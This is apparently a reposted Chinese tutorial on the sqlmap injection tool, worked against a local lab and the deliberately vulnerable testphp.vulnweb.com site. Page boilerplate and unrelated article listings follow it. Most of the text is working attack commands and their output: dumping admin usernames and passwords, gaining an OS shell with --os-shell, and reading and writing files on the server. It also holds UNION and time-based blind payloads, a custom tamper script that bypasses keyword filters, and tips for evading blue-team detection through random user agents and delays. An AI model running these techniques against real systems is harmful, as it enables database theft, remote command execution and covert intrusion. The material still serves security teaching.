注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构在这里插入图片描述

#知识点:

1、SQLMAP-常规猜解&字典配置
2、SQLMAP-权限操作&文件命令
3、SQLMAP-Tamper&使用&开发
4、SQLMAP-调试指纹&风险等级

#参考文章:

https://www.cnblogs.com/bmjoker/p/9326258.html

#数据猜解-库表列数据&字典

测试:http://vulnweb.com/
–current-db
–tables -D “”
–columns -T “” -D “”
–dump -C “” -C “” -T “”

1.IIS, ASP, Microsoft SQL Server(ACCESS数据库)

  • http://192.168.200.140:89/Pic.asp?classid=3
1.打开对应的UploadParsing网址,并使用其分配的IP进行访问

Untitled

2.源码中,没有进行sql语句的过滤直接拼接,造成有注入风险
  • http://192.168.200.140:89**/Pic.asp?classid=3**

    Untitled

3.使用sqlmap工具进行sql注入
  • G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  • **python sqlmap.py -u "" --tables** //获取表名
    python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
    **python sqlmap.py -u "" --dump -C "username,password" -T admin** //获取表名下的列名数据

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

    • python .\\sqlmap.py: 启动 SQLMap 工具,使用 Python 解释器运行。

    • u "<http://192.168.200.140:89/Pic.asp?classid=3>": 指定目标 URL,即要测试的网站地址。在这个例子中,目标 URL 是 http://192.168.200.140:89/Pic.asp?classid=3u 选项用于指定 URL。

    • -tables: 指定 SQLMap 工具执行的任务,这里是获取数据库中的所有表。-tables 选项用于请求表的信息。

    • 提示有注入点

      Untitled

  • 它询问是否要使用常见的表存在性检查方法

    • do you want to use common table existence check? [Y/n/q] y

    • 选择要使用的常见表文件的提示。用户可以选择默认的常见表文件,也可以选择自定义的常见表文件。

    • 询问用户要设置多少个线程进行测试

    • please enter number of threads? [Enter for 1 (current)] 输入10

      Untitled

Untitled

Untitled

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --columns -T admin

    • -columns: 这是 SQLMap 的一个选项,用于指示工具查找指定表的列。

    • T admin: 这是 SQLMap 的另一个选项,用于指定目标表的名称。在这里,它是 “admin” 表。

      Untitled

      Untitled

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --dump -C "username,password" -T admin

    • -dump: 这是 SQLMap 的选项,用于指示工具从数据库中检索数据。

    • C "username,password": 这是 SQLMap 的选项,用于指定要检索的列的名称。在这里,它是 “username” 和 “password” 列。

    • 得出如下的用户名和密码

      Untitled

  • 如果修改数据库的表名

  • 将原本的数据库中的Admin表表名修改为Adminxaiodi

  • 将相关缓存输出目录删除,继续查询

Untitled

  • 再次输入**python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables 查询表名,发现无法测出Adminxiaodi表名**

  • 原因是:使用猜测的字典中没有相关Adminxiaodi表名,所以猜不出

  • 方法:手动添加字典内容

    • 字典位置:G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\data\txt

    • 添加内容:adminxiaodi

    • 重新运行,成功猜出

      Untitled

      Untitled

      Untitled

      Untitled

      Untitled

      Untitled

  • 猜测完毕之后,sqlmap会自动将猜测出的东西,以提供的ip名或域名,以表格的形式存储在本地,可以直接查看

    Untitled

    Untitled

2.Apache, PHP, MySQL(普通权限)

  • http://testphp.vulnweb.com/artists.php**?artist=1(有注入漏洞)**

    Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –is-dba是否是数据库管理员)(会误报)

  • 输出显示 current user is DBA: False这表示当前数据库用户不是数据库管理员。

    分析这个结果的意义如下:

    • current user is DBA: False: 当前数据库用户并非数据库管理员。数据库管理员通常具有更高的权限,可以执行更敏感的数据库操作。

    这个信息是 SQLMap 在测试过程中根据数据库的反馈来判断的。在安全测试中,了解当前用户是否是数据库管理员对于评估系统的安全性和潜在的漏洞是重要的一部分。如果 --is-dba 结果为 True,则表明当前用户是数据库管理员,可能具有更大的潜在威胁。

    Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-user==(获取当前用户名称,推荐使用)==

Untitled

1.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” 使用 SQLMap 对提供的 URL 进行 SQL 注入测试
  • 这个命令的目的是使用 SQLMap 对提供的 URL 进行 SQL 注入测试。SQLMap 将自动尝试检测目标 URL 是否存在 SQL 注入漏洞
  • **heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')**这个分析结果是 SQLMap 对目标 URL 进行启发式(基本)测试后得出的结论
    • GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 ‘artist’ 可能是可注入的。
    • Possible DBMS: ‘MySQL’: SQLMap 进一步猜测目标数据库管理系统**(DBMS)可能是 MySQL。**

Untitled

  • GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

    • GET parameter ‘artist’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable: ==SQLMap 发现 ‘artist’ 参数可能受到 MySQL 版本大于等于 5.0.12 的时间盲注入漏洞的影响。==时间盲注入是一种 SQL 注入技巧,注入点插入类似 AND SLEEP(5) 的语句,来测试是否导致页面在执行时发生延迟。
    1. “Do you want to skip test payloads specific for other DBMSes? [Y/n]”: SQLMap 提供了一个选择,询问是否要跳过针对其他数据库管理系统的特定测试负载。在这里,如果您确认目标系统是 MySQL,并且希望专注于 MySQL 测试,可==以选择 “Y”(Yes),跳过其他 DBMS 的测试。==
    2. “For the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]”: SQLMap 进一步询问是否在剩余的测试中包括所有针对 ‘MySQL’ 的测试,同时扩展提供的 level(级别)和 risk(风险)值。在这里,如果您希望执行更全面的 MySQL 测试并扩展默认的测试级别和风险值,可以选择 “Y”(Yes)。

    Untitled

Untitled

  • GET parameter ‘artist’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

    • GET parameter ‘artist’ is vulnerable: SQLMap 确认 ‘artist’ 参数存在漏洞,即可被注入。这可能是通过前面的测试(包括时间盲注入测试)得出的结论。

    • Do you want to keep testing the others (if any)? [y/N]: SQLMap 提供了一个选择,询问是否要继续测试其他参数(如果有的话)。在这里,它询问用户是否想要继续探测其他可能存在漏洞的参数。选择 “y” 表示继续测试其他参数,

    • 得到的结论:

      1. Injection Points:
        SQLMap已经识别了一个注入点,即 GET 参数 ‘artist’。它在测试中使用了不同类型的注入测试负载来验证漏洞的存在。
      2. Boolean-based Blind Injection:
        • Type: 基于布尔的盲注(boolean-based blind)
        • Title: 使用 WHERE 或 HAVING 子句的布尔盲注
        • Payload: artist=1 AND 3483=3483
      3. Time-based Blind Injection:
        • Type: 基于时间的盲注(time-based blind)
        • Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        • Payload: artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(5)))hRNW)
      4. UNION Query Injection:
        • Type: UNION 查询注入
        • Title: 通用 UNION 查询 (NULL) - 3 列
        • Payload: artist=-1425 UNION ALL SELECT CONCAT(0x717a706a71,0x4b4c4e714344494b55456f706c6c556f5968514e647a74536f72444975414d5a6c4a5a446756726c,0x7176787171),NULL,NULL-- -
      5. Back-end DBMS Information:
        • SQLMap 进一步确认后端数据库管理系统 (DBMS) 是 MySQL,且版本是大于等于 5.0.12。
      6. Web Server and Application Information:
        • Web 服务器操作系统:Linux Ubuntu
        • Web 应用程序技术:Nginx 1.19.0, PHP 5.6.40

      Untitled

2.由于MySQL数据库,存在多种表,在检测时候应先使用:ppython sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-db 表示要获取当前数据库的名称。
  • 如果直接使用python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –tables 查询所有数据库名称 显示的会特别杂乱

    Untitled

  • –current-db 表示要获取当前数据库的名称。 会简洁许多,定位在想要注入的数据库中

Untitled

3.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --tables -D “acuart” 并尝试获取指定数据库(“acuart”)中的所有表的名称。

Untitled

4.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --columns -T “users” (对指定表(“users” )进行测试,并尝试获取该表的所有列的名称)

Untitled

5.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --dump -C “name,pass” --columns -T “users”(从指定表 (“users”) 中的指定列 (“name” 和 “pass”) 中检索数据,并将结果输出。)
  • 数据以表格形式保存在本地

Untitled

Untitled

#权限操作-文件&命令&交互式

测试:MYSQL高权限注入
引出权限:
–is-dba(误报) --privileges(只能通过很多false或者true判断,不明显)

推荐使用–current-user

引出文件:
–file-read --file-write --file-dest
引出命令:
–os-cmd= --os-shell --sql-shell

1.判断权限:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –is-dba(是否是数据库管理员)(会误报)或者==–current-user(获取当前用户名称,推荐)==

  • current user: 'root@localhost’,代表是最高权限Root权限

Untitled

Untitled

2.判断是否可注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1"使用 SQLMap 对提供的 URL 进行 SQL 注入测试

  • 存在注入点
  • 且为MySQL数据库

Untitled

Untitled

3.引出命令:

–os-cmd=(在目标系统上执行操作系统命令)
–os-shell (获取一个操作系统 shell(命令行)连接)
–sql-shell**(执行SQL命令)**

  • –sql-shell (执行SQL命令)

    • select version(); (获取数据库版本信息)

      Untitled

    • select * from admin; (查询表的信息)

      Untitled

    • 输入exit退出

  • –os-cmd= (在目标系统上执行操作系统命令)

    • –os-cmd=calc (执行计算器)

      • 询问语言(直接回车默认即可

        Untitled

      • 路径自动查询失败,选则2(自定义路径)

      • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

        Untitled

      • do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)

      Untitled

      Untitled

  • –os-shell (获取一个操作系统 shell(命令行)连接)

    • 询问语言(直接回车默认即可

      Untitled

    • 路径自动查询失败,选则2(自定义路径)

    • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

      Untitled

    • os-shell> ver显示当前操作系统的版本信息)并输入y,得到回显

      Untitled

    • os-shell> ipconfig (显示ip地址)并输入a或y

      Untitled

4.引出文件:

–file-read**(文件读取)**
–file-write --file-dest(写入操作)

  • **--file-read (文件读取)**

    • **--file-read "f:\\1.txt”** 读取F盘的文件1.txt

      • do you want confirmation that the remote file ‘f:/1.txt’ has been successfully downloaded from the back-end DBMS file system? [Y/n] y

      • SQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 ‘f:/1.txt’。以下是对选项的解释:

        • Y (Yes): 表示你同意获取确认,以验证文件是否已成功从后端 DBMS 文件系统下载。如果选择了这个选项,SQLMap 将尝试验证文件的下载。

        Untitled

    • 打开保存的文件,发现成功读取

      Untitled

  • --file-write--file-dest 是 SQLMap 中用于执行文件写入操作的选项。

    • –file-write:此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。

    • –file-dest:此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。

      python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" **--file-write="f:\\1.txt" --file-dest="c:\\123.txt"**
      
      

这个命令的目的是将指定的内容(“f:\1.txt”)写入 ‘c:\123.txt’ 文件。

Untitled

Untitled

#提交方法-POST&HEAD&JSON

测试:Post Cookie Json
–data “”
–cookie “”
-r 1.txt(推荐使用)

1.在处理POST请求的时候,应该首先在页面测试

2.输入用户名和密码进行登录提交表单的测试

Untitled

3.并进行抓包,查看对应==登录文件中负载的表单数据格式==

4.普通的字符串格式:”uname=test&pass=test”

Untitled

–data “”
  • 该选项用于指定要发送的 POST 数据。在你的命令中,--data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 **--data "**uname=test&pass=test**"**

  • 注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL

    • 是:http://testphp.vulnweb.com/userinfo.php(抓取到包中是有负载数据,才是目标URL)

    Untitled

Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/userinfo.php” --data "uname=test&pass=test"
    • u "http://testphp.vulnweb.com/userinfo.php":
      • 指定目标 URL,这里是登录页面的 URL。
    • -data "uname=test&pass=test":
      • 指定 POST 请求的数据,这里是用户名 uname 和密码 pass,分别设置为 “test”。
  • 成功实现POST数据注入:

Untitled

–cookie “”(原理一样,只做data的演示)
  • 该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"
推荐使用-r 1.txt
  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体
  1. 首先进行页面测试,并进行抓包

  2. 在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com**/userinfo.php**

  3. 选中对应的页面数据包,复制请求标头

  4. 复制请求数据包:uname=test&pass=test

  5. 将复制的东西,创建一个head.txt文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  6. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入image-20240221214848782

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间
  7. 打开sqlmap,实行注入:python sqlmap.py-r .\head.txt

    1. 空格默认

      • QLMap 正在测试一个自定义的 POST 参数 #1*,以确定它是否是动态生成的。

      • got a 302 redirect to 'http://testphp.vulnweb.com:80/login.php':

        • 在测试过程中,得到了一个 HTTP 302 重定向到 'http://testphp.vulnweb.com:80/login.php'
      • Do you want to follow? [Y/n]:

        • SQLMap 询问是否要跟随这个重定向。即是否要按照新的 URL 继续测试。

          Untitled

  8. 成功注入

Untitled

Untitled

Untitled

Untitled

5.json格式:{“username”:“admin”,“password”:“123456”}

Untitled

  1. 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

  2. 选中对应的页面数据包,复制请求标头

  3. 复制数据包:

    {
    “username”: “admin”,
    “password”: “123456”
    }

  4. 将复制的东西,==创建一个json.txt==文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  5. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

      {
      “username”: “admin*****”,
      “password”: “123456*****”
      }

  6. 打开sqlmap,实行注入:python sqlmap.py-r .\json.txt

  7. SQLMap 发现了多个注入点,并要求你选择一个用于后续注入测试的注入点。以下是对该提示的解释:默认选0即可

    • [0] place: (custom) POST, parameter: JSON #1*, type: Single quoted string (default):

      • 选项 0 表示注入点位于自定义 POST 请求的 JSON 参数 #1*,类型是单引号字符串。这是默认选择。
    • [1] place: (custom) POST, parameter: JSON #2*, type: Single quoted string:

      • 选项 1 表示注入点位于自定义 POST 请求的 JSON 参数 #2*,类型是单引号字符串。
    • [q] Quit:

      • 选项 q 表示退出选择,不选择任何注入点。

        Untitled

Untitled

Untitled

Untitled

6.无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

  • 如果是json格式的POST数据包,使用–data去注入存在以下问题

    • 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

    • 复制数据包:{“username”:“admin”,“password”:“123456”}

    • 打开sqlmap,实行注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data "{"username":"admin","password":"123456"}"

      Untitled

    • **报错all tested parameters do not appear to be injectable😗*所有测试过的参数似乎都不可注入。

      Untitled

    • 原因:由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

      Untitled

    • 即使加入*,标明注入点,依旧无法正常注入

    Untitled

    Untitled

#绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入
–tamper=base64encode.py
–tamper=test.py

Tamper脚本使用

1.测试GET页面,抓包,选中带有负载数据的页面http://192.168.137.1:84/sqli/base64.php?id=MQ==

Untitled

Untitled

2.由于注入页面中有id=MQ==,判定是base64加密后的数据
3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ=="
4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入

Untitled

Untitled

5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题

Untitled

Untitled

Untitled

6.引入Tamper脚本base64encode.py,再次实行注入:python sqlmap.py -u “http://192.168.137.1:84/sqli/base64.php?id=MQ==” –tamper=base64encode.py成功注入

Untitled

Untitled

Tamper脚本开发思路:

(1)前期分析检测判断过滤条件,
(2)分析过滤条件实行转换为对应的python代码,
(3)将代码放入sqlmap实验是否可以绕过过滤

1.在代码中,开启对于一些注入语句的关键词,进行过滤

Untitled

Untitled

2.抓包,指定url,使用sqlmap,查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" 报错,由于网址开启了过滤条件,无法正常注入

Untitled

Untitled

3.随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY

# 设置 tamper 脚本的优先级为低(LOW)
**priority** = PRIORITY.LOW

# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():
    pass

# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):
    # 如果存在有效的 payload
    if payload:
        **# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制
        payload = payload.replace('SELECT', 'sElEct')
        payload = payload.replace('OR', 'Or')
        payload = payload.replace('AND', 'And')
        payload = payload.replace('SLEEP', 'SleeP')
        payload = payload.replace('ELT', 'Elt')**
    # 返回处理后的 payload
    return payload
4.将编写好的Tamper脚本,放置在sqlmap中的tamper目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\tamper 并开启sqlmap进行注入:**python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –tamper=test 成功注入

Untitled

Untitled

Untitled

#分析拓展-代理&调试&指纹&风险&等级)

1、后期分析调试:

v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

  • 不使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4

Untitled

Untitled

  • 使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -tamper=test -v 4

Untitled

  • 发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、–proxy “http://xx:xx” #代理注入

  • python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2 –proxy “http://127.0.0.1:8080/”
  1. 确认关闭代理后,打开burp,将对应的代理的URL,使用 –proxy语句跟在sqlmap执行语句之后;

  2. 发现burp中接受到注入的的数据包,便于后期分析注入原理。

    Untitled

3、打乱默认指纹:

–user-agent “” #自定义user-agent
–random-agent #随机user-agent

  • 面试问题:由于显示的数据包user-agent会携带一些**固有流量特征**,会被蓝队进行防护和识别。

    • sqlmap的固有流量特征数据包user-agent中会默认其版本号

    • User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)

      Untitled

  • 解决方式:通过自定义或者随机ua头,避免被过滤

    • 通过自定义user-agent:--user-agent ""

    • 随机user-agent:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent

      Untitled

      Untitled

  • 面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

  • 解决方式:使用延迟响应语句python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 --random-agent –time-sec=(2,5)

--time-sec=5#延迟响应,默认迟为5秒。

  • -time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句

    Untitled

4、风险等级:–level --risk等级限制

–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1

Untitled

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
  1. 将源码设置为两个可注入点:分别为idUser-Agent

    Untitled

  2. 当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

    1. 首先使用默认等级进行扫描:

      1. python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1”

      2. 发现有过滤,无法寻找到注入点

        Untitled

      Untitled

    2. 在执行代码后==规定等级:==**--level=3(测试水平等级)** --risk=2(执行的风险等级) python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2

      1. 发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent
      2. 原因:使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点

      Untitled

      Untitled

AgAABTZwlSIrkRUmReVN9ZM0JO8xKbIA.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/408168.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Android】View 与 ViewGroup

View 是 Android 所有控件的基类&#xff0c;我们平常所用的 TextView 和 ImageView 都是继承自 View 的&#xff0c;源码如下&#xff1a; public class TextView extends View implements ViewTreeObserver.OnPreDrawListener {... }public class ImageView extends View {.…

stm32利用CubeMX实现外部中断触发数码管加减数

首先打开proteus绘制电路图&#xff0c;如下&#xff1a; 然后打开CubeMX&#xff0c;配置晶振和GPIO&#xff1a; 接下来就是生成keil工程文件&#xff0c;用keil打开。 新建一个desplay.h文件&#xff1a;下面是全部代码 #ifndef __DESPLAY_H #define __DESPLAY_H #endif#i…

2024全国水科技大会暨土壤和地下水污染防治与修复技术创新论坛(七)

论坛召集人&#xff1a;李 辉 上海大学环境与化学工程学院教授 一、会议背景 十四五”时期&#xff0c;我国生态文明建设进入以减污降碳协同增效为重点战略方向&#xff0c;促进经济社会发展全面绿色转型&#xff0c;实现生态环境质量改善由量变到质变的关键时期。聚焦土壤与地…

Leetcode3039. 进行操作使字符串为空

Every day a Leetcode 题目来源&#xff1a;3039. 进行操作使字符串为空 解法1&#xff1a;哈希 排序 操作的定义&#xff1a;每次操作依次遍历 ‘a’ 到 ‘z’&#xff0c;如果当前字符出现在 s 中&#xff0c;那么删除出现位置最早的该字符&#xff08;如果存在的话&…

从ViT到MAE,transformer架构改造Autoencoder

Vision Transformer (ViT) 论文出处[2010.11929] An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale (arxiv.org) 传统的卷积神经网络&#xff08;CNN&#xff09;在图像分类、目标检测等任务上表现出色&#xff0c;但其局限性也逐渐显露&#xf…

《Docker 简易速速上手小册》第3章 Dockerfile 与镜像构建(2024 最新版)

文章目录 3.1 编写 Dockerfile3.1.1 重点基础知识3.1.2 重点案例&#xff1a;创建简单 Python 应用的 Docker 镜像3.1.3 拓展案例 1&#xff1a;Dockerfile 优化3.1.4 拓展案例 2&#xff1a;多阶段构建 3.2 构建流程深入解析3.2.1 重点基础知识3.2.2 重点案例&#xff1a;构建…

GO-ICP的使用(一)

一、代码下载以、修改以及使用 下载&#xff1a; 链接&#xff1a;yangjiaolong/Go-ICP: Implementation of the Go-ICP algorithm for globally optimal 3D pointset registration (github.com) 解压之后 &#xff1a; 首先visual studio项目&#xff0c;配置好PCL环境&…

计算机组成原理(13)-----硬件多线程

目录 1.细粒度多线程 2.粗粒度多线程 3.同时多线程&#xff08;SMT&#xff09; 在不支持硬件多线程的处理器中&#xff0c;若要进行线程的切换&#xff0c;就需要保存和恢复线程的运行环境&#xff08;否则会出现数据覆盖引起的错误&#xff09;。 但在支持硬件多线程的处…

五篇保姆级分类诊断教程,数据特征提取+优化算法+机器学习

今天水一期&#xff0c;总结一下以前写过的几篇保姆级故障诊断。学会这几篇&#xff0c;机器学习的故障诊断你就基本合格了&#xff01; 本期内容&#xff1a;基于SABO-VMD-CNN-SVM的分类诊断。 依旧是采用经典的西储大学轴承数据。基本流程如下&#xff1a; 首先是以最小包络熵…

Github代码仓库SSH配置流程

作者&#xff1a; Herman Ye Auromix 测试环境&#xff1a; Ubuntu20.04 更新日期&#xff1a; 2024/02/21 注1&#xff1a; Auromix 是一个机器人爱好者开源组织。 注2&#xff1a; 由于笔者水平有限&#xff0c;以下内容可能存在事实性错误。 相关背景 在为Github代码仓库配…

RocketMQ快速实战以及集群架构原理详解

RocketMQ快速实战以及集群架构原理详解 组成部分 启动Rocket服务之前要先启动NameServer NameServer 提供轻量级Broker路由服务&#xff0c;主要是提供服务注册 Broker 实际处理消息存储、转发等服务的核心组件 Producer 消息生产者集群&#xff0c;通常为业务系统中的一个功…

基础光学系列:(四)机器视觉中的光圈、焦距与景深调整技巧

控制景深和成像质量是摄影和机器视觉领域的关键技能。通过调整光圈、焦距、和感光元件&#xff08;如数码相机的图像传感器&#xff09;的位置&#xff0c;可以精细地控制图像的外观。下面是如何通过这些参数来控制景深和提高成像质量的一些建议&#xff1a; 调整光圈来控制景…

学生管理系统简易版(C语言)

简介&#xff1a; 有登录功能&#xff0c;这个功能是利用文本文件来保存用户名和密码彩色的菜单页面多种功能较好的排版含有文件夹图标 目录展示&#xff1a; 页面展示&#xff1a; 下载链接&#xff1a;https://download.csdn.net/download/liyankang/88873436 度盘链接&…

BUU [GWCTF 2019]mypassword

BUU [GWCTF 2019]mypassword 开题&#xff0c;是个登录界面&#xff0c;也有注册功能 首先我们注册个号看看。然后登录 提示不是SQL注入 有反馈界面&#xff0c;反馈应该管理员会看&#xff0c;可能存在XSS。 查看源码&#xff0c;注释给出了后端源码&#xff0c;对XSS进行了…

GEE数据集——GLANCE 全球土地覆被训练数据集

GLANCE 全球土地覆被训练数据集 GLanCE 培训数据集向公众开放&#xff0c;专为区域到全球土地覆被和土地覆被变化分析而设计。该数据集的中等空间分辨率为 30 米&#xff0c;时间跨度为 1984 年至 2020 年&#xff0c;在地理和光谱上代表了全球所有生态区域。每个训练单元提供多…

极狐GitLab 使用指南:如何使用极狐GitLab 进行第一次 git commit

GitLab 是一个全球知名的一体化 DevOps 平台&#xff0c;很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门为中国程序员服务。可以一键式部署极狐GitLab。 进行第一次 Git 提交 本教程包含一些关于 Git 的工作原理&…

Escalate_Linux-环境变量劫持提权(5)

环境变量劫持提权 在Shll输入命令时&#xff0c;Shel会按PAH环境变量中的路径依次搜索命令&#xff0c;若是存在同名的命令&#xff0c;则执行最先找到的&#xff0c;若是PATH中加入了当前目录&#xff0c;也就是“”这个符号&#xff0c;则可能会被黑客利用&#xff0c;例如在…

RM电控讲义【HAL库篇】(二)

8080并口模式是一种常见的计算机接口模式&#xff0c;主要用于LCD&#xff08;液晶显示屏&#xff09;模块。 在8080并口模式中&#xff0c;通信端口包括多种信号线&#xff0c;用于实现数据的读写和控制功能。主要的信号线包括&#xff1a; CS&#xff08;片选信号&#xff…

ArcgisForJS如何将ArcGIS Server发布的点要素渲染为热力图?

文章目录 0.引言1.ArcGIS创建点要素2.ArcGIS Server发布点要素3.ArcgisForJS将ArcGIS创建的点要素渲染为热力图 0.引言 ArcGIS For JS 是一个强大的地理信息系统&#xff08;GIS&#xff09;工具&#xff0c;它允许开发者使用 JavaScript 语言来创建各种 GIS 应用。ArcGIS Ser…

Java——防止SQL注入的几种策略

一、什么是SQL注入 SQL注入&#xff08;SQL Injection&#xff09;是一种常见的网络安全漏洞&#xff0c;它允许攻击者通过操纵应用程序的输入来执行恶意的SQL查询。这种漏洞发生在应用程序没有正确验证、过滤或转义用户提供的输入数据时。攻击者可以利用这个漏洞来执行未经授…